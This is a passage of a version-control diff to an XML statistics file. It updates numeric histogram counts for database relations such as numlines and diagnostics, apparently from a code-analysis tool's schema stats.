                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13127189</v>
+                                    <v>13128112</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8188,7 +8223,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13127189</v>
+                                    <v>13128112</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8204,7 +8239,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13127189</v>
+                                    <v>13128112</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8220,7 +8255,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13127189</v>
+                                    <v>13128112</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8236,7 +8271,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>13127189</v>
+                                    <v>13128112</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8642,67 +8677,67 @@
                                 <b>
                                     <a>1</a>
                                     <b>5</b>
-                                    <v>16078</v>
+                                    <v>16079</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>9</b>
-                                    <v>16447</v>
+                                    <v>16448</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>15</b>
-                                    <v>15996</v>
+                                    <v>15997</v>
                                 </b>
                                 <b>
                                     <a>15</a>
                                     <b>23</b>
-                                    <v>15073</v>
+                                    <v>15074</v>
                                 </b>
                                 <b>
                                     <a>23</a>
                                     <b>32</b>
-                                    <v>15114</v>
+                                    <v>15115</v>
                                 </b>
                                 <b>
                                     <a>32</a>
                                     <b>44</b>
-                                    <v>14971</v>
+                                    <v>14972</v>
                                 </b>
                                 <b>
                                     <a>44</a>
                                     <b>60</b>
-                                    <v>14724</v>
+                                    <v>14726</v>
                                 </b>
                                 <b>
                                     <a>60</a>
                                     <b>80</b>
-                                    <v>14807</v>
+                                    <v>14808</v>
                                 </b>
                                 <b>
                                     <a>80</a>
                                     <b>103</b>
-                                    <v>14581</v>
+                                    <v>14582</v>
                                 </b>
                                 <b>
                                     <a>103</a>
                                     <b>130</b>
-                                    <v>14786</v>
+                                    <v>14787</v>
                                 </b>
                                 <b>
                                     <a>130</a>
                                     <b>159</b>
-                                    <v>14560</v>
+                                    <v>14561</v>
                                 </b>
                                 <b>
                                     <a>159</a>
                                     <b>194</b>
-                                    <v>14560</v>
+                                    <v>14561</v>
                                 </b>
                                 <b>
                                     <a>194</a>
                                     <b>302</b>
-                                    <v>9782</v>
+                                    <v>9783</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8718,22 +8753,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>23461</v>
+                                    <v>23463</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>15586</v>
+                                    <v>15587</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>11320</v>
+                                    <v>11321</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>16324</v>
+                                    <v>16325</v>
                                 </b>
                                 <b>
                                     <a>6</a>
@@ -8743,32 +8778,32 @@
                                 <b>
                                     <a>8</a>
                                     <b>11</b>
-                                    <v>16406</v>
+                                    <v>16407</v>
                                 </b>
                                 <b>
                                     <a>11</a>
                                     <b>16</b>
-                                    <v>17329</v>
+                                    <v>17330</v>
                                 </b>
                                 <b>
                                     <a>16</a>
                                     <b>21</b>
-                                    <v>16406</v>
+                                    <v>16407</v>
                                 </b>
                                 <b>
                                     <a>21</a>
                                     <b>28</b>
-                                    <v>16611</v>
+                                    <v>16612</v>
                                 </b>
                                 <b>
                                     <a>28</a>
                                     <b>35</b>
-                                    <v>15955</v>
+                                    <v>15956</v>
                                 </b>
                                 <b>
                                     <a>35</a>
                                     <b>43</b>
-                                    <v>15934</v>
+                                    <v>15936</v>
                                 </b>
                                 <b>
                                     <a>43</a>
@@ -8789,62 +8824,62 @@
                                 <b>
                                     <a>1</a>
                                     <b>4</b>
-                                    <v>15934</v>
+                                    <v>15936</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>7</b>
-                                    <v>17493</v>
+                                    <v>17494</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>11</b>
-                                    <v>16652</v>
+                                    <v>16653</v>
                                 </b>
                                 <b>
                                     <a>11</a>
                                     <b>16</b>
-                                    <v>17370</v>
+                                    <v>17371</v>
                                 </b>
                                 <b>
                                     <a>16</a>
                                     <b>21</b>
-                                    <v>17473</v>
+                                    <v>17474</v>
                                 </b>
                                 <b>
                                     <a>21</a>
                                     <b>26</b>
-                                    <v>15032</v>
+                                    <v>15033</v>
                                 </b>
                                 <b>
                                     <a>26</a>
                                     <b>31</b>
-                                    <v>16140</v>
+                                    <v>16141</v>
                                 </b>
                                 <b>
                                     <a>31</a>
                                     <b>36</b>
-                                    <v>17698</v>
+                                    <v>17699</v>
                                 </b>
                                 <b>
                                     <a>36</a>
                                     <b>40</b>
-                                    <v>15791</v>
+                                    <v>15792</v>
                                 </b>
                                 <b>
                                     <a>40</a>
                                     <b>44</b>
-                                    <v>16529</v>
+                                    <v>16530</v>
                                 </b>
                                 <b>
                                     <a>44</a>
                                     <b>49</b>
-                                    <v>16591</v>
+                                    <v>16592</v>
                                 </b>
                                 <b>
                                     <a>49</a>
                                     <b>63</b>
-                                    <v>8777</v>
+                                    <v>8778</v>
                                 </b>
                             </bs>
                         </hist>
@@ -8860,22 +8895,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>101762</v>
+                                    <v>101769</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>44564</v>
+                                    <v>44567</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>27501</v>
+                                    <v>27503</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>14540</v>
+                                    <v>14541</v>
                                 </b>
                                 <b>
                                     <a>6</a>
@@ -8896,62 +8931,62 @@
                                 <b>
                                     <a>1</a>
                                     <b>4</b>
-                                    <v>16919</v>
+                                    <v>16920</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>7</b>
-                                    <v>16611</v>
+                                    <v>16612</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>11</b>
-                                    <v>16386</v>
+                                    <v>16387</v>
                                 </b>
                                 <b>
                                     <a>11</a>
                                     <b>16</b>
-                                    <v>16181</v>
+                                    <v>16182</v>
                                 </b>
                                 <b>
                                     <a>16</a>
                                     <b>21</b>
-                                    <v>16406</v>
+                                    <v>16407</v>
                                 </b>
                                 <b>
                                     <a>21</a>
                                     <b>27</b>
-                                    <v>16734</v>
+                                    <v>16735</v>
                                 </b>
                                 <b>
                                     <a>27</a>
                                     <b>33</b>
-                                    <v>16406</v>
+                                    <v>16407</v>
                                 </b>
                                 <b>
                                     <a>33</a>
                                     <b>38</b>
-                                    <v>14458</v>
+                                    <v>14459</v>
                                 </b>
                                 <b>
                                     <a>38</a>
                                     <b>43</b>
-                                    <v>15504</v>
+                                    <v>15505</v>
                                 </b>
                                 <b>
                                     <a>43</a>
                                     <b>47</b>
-                                    <v>14745</v>
+                                    <v>14746</v>
                                 </b>
                                 <b>
                                     <a>47</a>
                                     <b>52</b>
-                                    <v>16714</v>
+                                    <v>16715</v>
                                 </b>
                                 <b>
                                     <a>52</a>
                                     <b>65</b>
-                                    <v>14376</v>
+                                    <v>14377</v>
                                 </b>
                                 <b>
                                     <a>66</a>
@@ -9352,67 +9387,67 @@
                                 <b>
                                     <a>1</a>
                                     <b>5</b>
-                                    <v>16099</v>
+                                    <v>16100</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>9</b>
-                                    <v>16447</v>
+                                    <v>16448</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>15</b>
-                                    <v>15770</v>
+                                    <v>15772</v>
                                 </b>
                                 <b>
                                     <a>15</a>
                                     <b>23</b>
-                                    <v>15053</v>
+                                    <v>15054</v>
                                 </b>
                                 <b>
                                     <a>23</a>
                                     <b>32</b>
-                                    <v>15606</v>
+                                    <v>15607</v>
                                 </b>
                                 <b>
                                     <a>32</a>
                                     <b>44</b>
-                                    <v>14704</v>
+                                    <v>14705</v>
                                 </b>
                                 <b>
                                     <a>44</a>
                                     <b>60</b>
-                                    <v>14458</v>
+                                    <v>14459</v>
                                 </b>
                                 <b>
                                     <a>60</a>
                                     <b>80</b>
-                                    <v>15237</v>
+                                    <v>15238</v>
                                 </b>
                                 <b>
                                     <a>80</a>
                                     <b>103</b>
-                                    <v>14478</v>
+                                    <v>14479</v>
                                 </b>
                                 <b>
                                     <a>103</a>
                                     <b>130</b>
-                                    <v>14786</v>
+                                    <v>14787</v>
                                 </b>
                                 <b>
                                     <a>130</a>
                                     <b>159</b>
-                                    <v>14458</v>
+                                    <v>14459</v>
                                 </b>
                                 <b>
                                     <a>159</a>
                                     <b>193</b>
-                                    <v>14376</v>
+                                    <v>14377</v>
                                 </b>
                                 <b>
                                     <a>193</a>
                                     <b>299</b>
-                                    <v>9987</v>
+                                    <v>9988</v>
                                 </b>
                             </bs>
                         </hist>
@@ -9428,67 +9463,67 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>23461</v>
+                                    <v>23463</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>15524</v>
+                                    <v>15525</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>11320</v>
+                                    <v>11321</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>16016</v>
+                                    <v>16018</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>8</b>
-                                    <v>13453</v>
+                                    <v>13454</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>11</b>
-                                    <v>16468</v>
+                                    <v>16469</v>
                                 </b>
                                 <b>
                                     <a>11</a>
                                     <b>15</b>
-                                    <v>14458</v>
+                                    <v>14459</v>
                                 </b>
                                 <b>
                                     <a>15</a>
                                     <b>20</b>
-                                    <v>16673</v>
+                                    <v>16674</v>
                                 </b>
                                 <b>
                                     <a>20</a>
                                     <b>26</b>
-                                    <v>14971</v>
+                                    <v>14972</v>
                                 </b>
                                 <b>
                                     <a>26</a>
                                     <b>33</b>
-                                    <v>16119</v>
+                                    <v>16120</v>
                                 </b>
                                 <b>
                                     <a>33</a>
                                     <b>40</b>
-                                    <v>14724</v>
+                                    <v>14726</v>
                                 </b>
                                 <b>
                                     <a>40</a>
                                     <b>49</b>
-                                    <v>14724</v>
+                                    <v>14726</v>
                                 </b>
                                 <b>
                                     <a>49</a>
                                     <b>60</b>
-                                    <v>3547</v>
+                                    <v>3548</v>
                                 </b>
                             </bs>
                         </hist>
@@ -9504,22 +9539,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>95343</v>
+                                    <v>95349</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>49835</v>
+                                    <v>49838</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>29306</v>
+                                    <v>29308</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>15565</v>
+                                    <v>15566</v>
                                 </b>
                                 <b>
                                     <a>6</a>
@@ -9540,62 +9575,62 @@
                                 <b>
                                     <a>1</a>
                                     <b>4</b>
-                                    <v>15791</v>
+                                    <v>15792</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>7</b>
-                                    <v>17411</v>
+                                    <v>17412</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>11</b>
-                                    <v>16447</v>
+                                    <v>16448</v>
                                 </b>
                                 <b>
                                     <a>11</a>
                                     <b>16</b>
-                                    <v>17309</v>
+                                    <v>17310</v>
                                 </b>
                                 <b>
                                     <a>16</a>
                                     <b>21</b>
-                                    <v>17268</v>
+                                    <v>17269</v>
                                 </b>
                                 <b>
                                     <a>21</a>
                                     <b>26</b>
-                                    <v>15114</v>
+                                    <v>15115</v>
                                 </b>
                                 <b>
                                     <a>26</a>
                                     <b>31</b>
-                                    <v>16263</v>
+                                    <v>16264</v>
                                 </b>
                                 <b>
                                     <a>31</a>
                                     <b>36</b>
-                                    <v>17678</v>
+                                    <v>17679</v>
                                 </b>
                                 <b>
                                     <a>36</a>
                                     <b>40</b>
-                                    <v>15340</v>
+                                    <v>15341</v>
                                 </b>
                                 <b>
                                     <a>40</a>
                                     <b>44</b>
-                                    <v>16591</v>
+                                    <v>16592</v>
                                 </b>
                                 <b>
                                     <a>44</a>
                                     <b>49</b>
-                                    <v>16734</v>
+                                    <v>16735</v>
                                 </b>
                                 <b>
                                     <a>49</a>
                                     <b>63</b>
-                                    <v>9515</v>
+                                    <v>9516</v>
                                 </b>
                             </bs>
                         </hist>
@@ -9611,62 +9646,62 @@
                                 <b>
                                     <a>1</a>
                                     <b>4</b>
-                                    <v>17144</v>
+                                    <v>17146</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>7</b>
-                                    <v>16755</v>
+                                    <v>16756</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>11</b>
-                                    <v>16386</v>
+                                    <v>16387</v>
                                 </b>
                                 <b>
                                     <a>11</a>
                                     <b>16</b>
-                                    <v>16837</v>
+                                    <v>16838</v>
                                 </b>
                                 <b>
                                     <a>16</a>
                                     <b>21</b>
-                                    <v>15975</v>
+                                    <v>15977</v>
                                 </b>
                                 <b>
                                     <a>21</a>
                                     <b>26</b>
-                                    <v>14478</v>
+                                    <v>14479</v>
                                 </b>
                                 <b>
                                     <a>26</a>
                                     <b>32</b>
-                                    <v>16119</v>
+                                    <v>16120</v>
                                 </b>
                                 <b>
                                     <a>32</a>
                                     <b>37</b>
-                                    <v>14376</v>
+                                    <v>14377</v>
                                 </b>
                                 <b>
                                     <a>37</a>
                                     <b>42</b>
-                                    <v>15832</v>
+                                    <v>15833</v>
                                 </b>
                                 <b>
                                     <a>42</a>
                                     <b>46</b>
-                                    <v>14232</v>
+                                    <v>14233</v>
                                 </b>
                                 <b>
                                     <a>46</a>
                                     <b>51</b>
-                                    <v>17247</v>
+                                    <v>17248</v>
                                 </b>
                                 <b>
                                     <a>51</a>
                                     <b>59</b>
-                                    <v>14458</v>
+                                    <v>14459</v>
                                 </b>
                                 <b>
                                     <a>59</a>
@@ -9726,7 +9761,7 @@
                                 </b>
                                 <b>
                                     <a>4177</a>
-                                    <b>7133</b>
+                                    <b>7135</b>
                                     <v>225</v>
                                 </b>
                                 <b>
@@ -9803,22 +9838,22 @@
                                 <b>
                                     <a>135</a>
                                     <b>139</b>
-                                    <v>225</v>
+                                    <v>246</v>
                                 </b>
                                 <b>
                                     <a>139</a>
                                     <b>146</b>
-                                    <v>225</v>
+                                    <v>205</v>
                                 </b>
                                 <b>
                                     <a>146</a>
                                     <b>148</b>
-                                    <v>225</v>
+                                    <v>205</v>
                                 </b>
                                 <b>
                                     <a>148</a>
                                     <b>152</b>
-                                    <v>225</v>
+                                    <v>246</v>
                                 </b>
                                 <b>
                                     <a>152</a>
@@ -10056,23 +10091,23 @@
         </relation>
         <relation>
             <name>numlines</name>
-            <cardinality>1411307</cardinality>
+            <cardinality>1406545</cardinality>
             <columnsizes>
                 <e>
                     <k>element_id</k>
-                    <v>1404227</v>
+                    <v>1399488</v>
                 </e>
                 <e>
                     <k>num_lines</k>
-                    <v>103842</v>
+                    <v>102550</v>
                 </e>
                 <e>
                     <k>num_code</k>
-                    <v>85433</v>
+                    <v>85615</v>
                 </e>
                 <e>
                     <k>num_comment</k>
-                    <v>59945</v>
+                    <v>60213</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -10086,12 +10121,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1397147</v>
+                                    <v>1392432</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>7080</v>
+                                    <v>7056</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10107,12 +10142,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1398091</v>
+                                    <v>1393373</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>6136</v>
+                                    <v>6115</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10128,7 +10163,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1404227</v>
+                                    <v>1399488</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10144,27 +10179,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>69385</v>
+                                    <v>68680</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>14160</v>
+                                    <v>12230</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>5</b>
-                                    <v>8496</v>
+                                    <b>4</b>
+                                    <v>7526</v>
                                 </b>
                                 <b>
-                                    <a>5</a>
-                                    <b>63</b>
-                                    <v>8024</v>
+                                    <a>4</a>
+                                    <b>21</b>
+                                    <v>7997</v>
                                 </b>
                                 <b>
-                                    <a>79</a>
+                                    <a>29</a>
                                     <b>926</b>
-                                    <v>3776</v>
+                                    <v>6115</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10180,27 +10215,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>71745</v>
+                                    <v>71032</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>14160</v>
+                                    <v>12230</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>7552</v>
+                                    <v>8467</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>8968</v>
+                                    <v>9408</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
-                                    <v>1416</v>
+                                    <v>1411</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10216,22 +10251,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>70801</v>
+                                    <v>70092</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>16992</v>
+                                    <v>15053</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>9912</v>
+                                    <v>10819</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>7</b>
-                                    <v>6136</v>
+                                    <v>6585</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10247,27 +10282,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>52393</v>
+                                    <v>53157</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>15104</v>
+                                    <v>14582</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>5</b>
-                                    <v>6608</v>
+                                    <v>6585</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>42</b>
-                                    <v>6608</v>
+                                    <v>6585</v>
                                 </b>
                                 <b>
-                                    <a>45</a>
+                                    <a>44</a>
                                     <b>927</b>
-                                    <v>4720</v>
+                                    <v>4704</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10283,27 +10318,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>52393</v>
+                                    <v>53157</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>17464</v>
+                                    <v>16934</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>5</b>
-                                    <v>6136</v>
+                                    <v>6115</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>8</b>
-                                    <v>7080</v>
+                                    <v>6585</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>12</b>
-                                    <v>2360</v>
+                                    <v>2822</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10319,27 +10354,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>52865</v>
+                                    <v>53627</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>16520</v>
+                                    <v>15994</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>5</b>
-                                    <v>7552</v>
+                                    <v>7526</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
-                                    <v>5192</v>
+                                    <v>5174</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>10</b>
-                                    <v>3304</v>
+                                    <v>3292</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10355,32 +10390,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>34928</v>
+                                    <v>34810</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>8496</v>
+                                    <v>9408</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>4720</v>
+                                    <v>4233</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>4720</v>
+                                    <v>4704</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>11</b>
-                                    <v>5192</v>
+                                    <v>5174</v>
                                 </b>
                                 <b>
                                     <a>17</a>
                                     <b>2622</b>
-                                    <v>1888</v>
+                                    <v>1881</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10396,32 +10431,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>34928</v>
+                                    <v>34810</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>8496</v>
+                                    <v>9408</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>4720</v>
+                                    <v>4233</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>4720</v>
+                                    <v>4704</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>8</b>
-                                    <v>4720</v>
+                                    <v>4704</v>
                                 </b>
                                 <b>
                                     <a>10</a>
-                                    <b>37</b>
-                                    <v>2360</v>
+                                    <b>38</b>
+                                    <v>2352</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10437,32 +10472,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>34928</v>
+                                    <v>34810</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>8496</v>
+                                    <v>9408</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>4720</v>
+                                    <v>4233</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>4720</v>
+                                    <v>4704</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>10</b>
-                                    <v>4720</v>
+                                    <v>4704</v>
                                 </b>
                                 <b>
                                     <a>10</a>
                                     <b>37</b>
-                                    <v>2360</v>
+                                    <v>2352</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10472,31 +10507,31 @@
         </relation>
         <relation>
             <name>diagnostics</name>
-            <cardinality>667106</cardinality>
+            <cardinality>632933</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>667106</v>
+                    <v>632933</v>
                 </e>
                 <e>
                     <k>severity</k>
-                    <v>210</v>
+                    <v>209</v>
                 </e>
                 <e>
                     <k>error_tag</k>
-                    <v>7142</v>
+                    <v>7441</v>
                 </e>
                 <e>
                     <k>error_message</k>
-                    <v>50629</v>
+                    <v>50202</v>
                 </e>
                 <e>
                     <k>full_error_message</k>
-                    <v>666371</v>
+                    <v>632199</v>
                 </e>
                 <e>
                     <k>location</k>
-                    <v>366903</v>
+                    <v>354878</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -10510,7 +10545,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>667106</v>
+                                    <v>632933</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10526,7 +10561,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>667106</v>
+                                    <v>632933</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10542,7 +10577,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>667106</v>
+                                    <v>632933</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10558,7 +10593,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>667106</v>
+                                    <v>632933</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10574,7 +10609,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>667106</v>
+                                    <v>632933</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10588,14 +10623,14 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>375</a>
-                                    <b>376</b>
-                                    <v>105</v>
+                                    <a>354</a>
+                                    <b>355</b>
+                                    <v>104</v>
                                 </b>
                                 <b>
-                                    <a>5976</a>
-                                    <b>5977</b>
-                                    <v>105</v>
+                                    <a>5685</a>
+                                    <b>5686</b>
+                                    <v>104</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10611,12 +10646,12 @@
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
-                                    <a>64</a>
-                                    <b>65</b>
-                                    <v>105</v>
+                                    <a>67</a>
+                                    <b>68</b>
+                                    <v>104</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10632,12 +10667,12 @@
                                 <b>
                                     <a>6</a>
                                     <b>7</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
-                                    <a>476</a>
-                                    <b>477</b>
-                                    <v>105</v>
+                                    <a>473</a>
+                                    <b>474</b>
+                                    <v>104</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10651,14 +10686,14 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>375</a>
-                                    <b>376</b>
-                                    <v>105</v>
+                                    <a>354</a>
+                                    <b>355</b>
+                                    <v>104</v>
                                 </b>
                                 <b>
-                                    <a>5969</a>
-                                    <b>5970</b>
-                                    <v>105</v>
+                                    <a>5678</a>
+                                    <b>5679</b>
+                                    <v>104</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10672,14 +10707,14 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>211</a>
-                                    <b>212</b>
-                                    <v>105</v>
+                                    <a>198</a>
+                                    <b>199</b>
+                                    <v>104</v>
                                 </b>
                                 <b>
-                                    <a>3378</a>
-                                    <b>3379</b>
-                                    <v>105</v>
+                                    <a>3278</a>
+                                    <b>3279</b>
+                                    <v>104</v>
                                 </b>
                             </bs>
                         </hist>
@@ -10695,256 +10730,246 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>735</v>
+                                    <v>1048</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>735</v>
+                                    <v>1048</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>4</b>
-                                    <v>525</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>6</b>
-                                    <v>630</v>
-                                </b>
-                                <b>
-                                    <a>6</a>
-                                    <b>8</b>
-                                    <v>630</v>
-                                </b>
-                                <b>
-                                    <a>8</a>
-                                    <b>14</b>
-                                    <v>630</v>
-                                </b>
-                                <b>
-                                    <a>14</a>
-                                    <b>17</b>
-                                    <v>525</v>
-                                </b>
-                                <b>
-                                    <a>18</a>
-                                    <b>30</b>
-                                    <v>630</v>
-                                </b>
-                                <b>
-                                    <a>33</a>
-                                    <b>51</b>
-                                    <v>630</v>
-                                </b>
-                                <b>
-                                    <a>52</a>
-                                    <b>149</b>
-                                    <v>630</v>
-                                </b>
-                                <b>
-                                    <a>200</a>
-                                    <b>808</b>
-                                    <v>630</v>
-                                </b>
-                                <b>
-                                    <a>845</a>
-                                    <b>1335</b>
-                                    <v>210</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>error_tag</src>
-                    <trg>severity</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>7142</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>error_tag</src>
-                    <trg>error_message</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>4726</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>630</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>420</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>6</b>
-                                    <v>630</v>
-                                </b>
-                                <b>
-                                    <a>6</a>
-                                    <b>53</b>
-                                    <v>630</v>
-                                </b>
-                                <b>
-                                    <a>249</a>
-                                    <b>250</b>
-                                    <v>105</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>error_tag</src>
-                    <trg>full_error_message</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>840</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>735</v>
-                                </b>
